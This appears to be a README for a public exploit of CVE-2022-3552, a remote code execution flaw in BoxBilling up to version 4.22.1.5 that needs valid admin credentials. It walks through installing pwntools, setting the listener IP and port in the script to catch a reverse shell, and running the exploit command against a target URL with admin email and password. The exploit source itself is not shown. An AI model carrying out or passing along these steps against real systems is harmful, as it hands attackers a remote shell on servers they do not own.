CVE-2022-3552

In order to exploit the vulnerability in BoxBlilling, the version will have to be: "BoxBilling<=4.22.1.5" and you will have to have valid admin credentials.

If you have the situation above, here are the steps you have to take in order to get the juicy RCE:

Create a python virtual environment (Linux)

• root@kitploit:~

   python3 -m venv .venv
  

• root@kitploit:~

   source .venv/bin/activate
  

Now install this pwntools library

• root@kitploit:~

   pip3 install pwntools
  

If it complains about missing dependencies, you might also need to install some system packages:

• root@kitploit:~

   sudo apt update
  

• root@kitploit:~

   sudo apt install python3-pwntools
  

In the code there are a few lines that require tweaking, those are the lines that determine the lhost IP and the port that you are planning to catch the shell with.

If you did all of that correctly, you should now be able to run the exploit and get a shell! (-d = target, -u = a valid admin email, -p the valid admin's password)

• root@kitploit:~

   python3 CVE-2022-3552.py -d http://victimtarget.com -u [email protected] -p enterpassword1HERE